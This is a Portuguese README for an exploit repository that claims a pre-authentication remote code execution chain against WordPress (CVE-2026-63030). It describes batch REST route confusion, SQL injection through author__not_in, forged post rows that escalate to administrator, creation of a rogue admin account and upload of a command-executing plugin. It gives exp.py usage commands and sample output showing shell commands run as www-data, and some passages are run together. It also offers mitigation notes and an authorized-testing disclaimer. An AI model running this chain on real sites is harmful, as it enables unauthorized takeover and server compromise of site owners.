
WordPress 未授权RCE EXP | CVE-2026-63030
Cadeia de exploração completa (PoC) que combina confusão de rota batch da REST API do WordPress com injeção SQL resultando em criação de administrador não autenticado → execução remota de código.
Exclusivamente para testes de segurança autorizados, reprodução de vulnerabilidades e pesquisa. Proibido o uso em alvos não autorizados.
| Item | Descrição |
|---|---|
| CVE | CVE-2026-63030 |
| Componente | WordPress Core REST API (/batch/v1) |
| Versões afetadas | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (de acordo com o boletim oficial) |
| Pré-condição do ataque | O alvo deve ter a REST API batch ativada; o site deve ter pelo menos um artigo ou página publicada |
| Requisito de permissão | Nenhum login necessário (Pré-Auth) |
| Impacto | Criação de conta de administrador, podendo ainda fazer upload de plugin para RCE |
Confusão de rota batch REST
→ Injeção SQL author__not_in
→ UNION para falsificar WP_Post / oEmbed cache / Customizer changeset
→ Ao publicar no Customizer, alterna para contexto de administrador existente
→ REST /wp/v2/users cria novo administrador
→ Upload de plugin descartável no painel
→ Execução de comando no sistema
O núcleo não é "empilhar escritas no banco", mas sim:
serve_batch_request_v1() dessincroniza os índices $matches / $validation entre a fase de validação e a de despacho, causando confusão de rota.author_exclude entra como author__not_in no WP_Query, sendo interpolada em NOT IN (...), gerando uma injeção SQL.UNION SELECT, falsifica uma linha completa de wp_posts, acionando a lógica de oEmbed / Customizer, que troca o contexto do usuário atual para um administrador existente.proc_open / passthru / system / shell_exec / exec / popen)disable_functions desabilitar todas as funções de execução de comandos, ainda é possível criar o administrador, mas a etapa de RCE falharáCVE-2026-63030/
├── exp.py # Script de exploração completo (arquivo único, zero dependências)
└── README.md # Esta documentação
id por padrão)python3 exp.py --url http://192.168.1.10:8080/
python3 exp.py --url http://192.168.199.134:9005/ --username mht --password 'mht666' --email [email protected] --command 'id' --timeout 60
[*] Creating administrator via SQLi -> customizer bridge...
[+] Generated administrator: labadmin
[*] Password: S3cure!pass
[*] Email: [email protected]
[*] Logging in as generated administrator...
[+] Authenticated.
[*] Uploading one-shot command plugin...
[*] Plugin path: http://192.168.1.10:8080/wp-content/plugins/lab_wp2_cmd_xxxxxxxx/lab_wp2_cmd_xxxxxxxx.php
[*] Executing command: id
[+] command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[via: proc_open]
[*] Deleting generated administrator...
[+] Generated administrator removed.
[*] Cleaning up temporary plugin...
[+] Temporary plugin removed.
O script, ao final, tenta:
Se houver falha no meio do caminho, faça a limpeza manual usando as credenciais exibidas na saída.
has been disabled for security reasons, significa que disable_functions desabilitou a função correspondente. O PoC tenta diversos métodos de execução sequencialmente; se todos estiverem proibidos, o RCE não funcionará, mas a etapa de criação do administrador ainda pode ter sucesso.wp-admin/users.php e wp-content/plugins/./batch/v1disable_functions e a configuração do usuário web com privilégios mínimos para reduzir o impacto de um RCEO código neste repositório destina-se exclusivamente à pesquisa de segurança e reprodução autorizada de vulnerabilidades. O usuário deve garantir a conformidade com as leis locais e com a autorização do sistema alvo. O autor não se responsabiliza por qualquer uso indevido.
| Parâmetro | Obrigatório | Valor padrão | Descrição |
|---|
--url | Sim | Nenhum | URL raiz do WordPress alvo |
--username | Não | wp2_<hex> | Nome de usuário do administrador a ser criado |
--password | Não | Wp2!<random> | Senha do administrador a ser criado |
--email | Não | <username>@wp2shell.invalid | Email do administrador a ser criado |
--command / -c | Não | id | Comando a ser executado via plugin descartável |
--timeout | Não | 60 | Timeout HTTP por requisição (segundos) |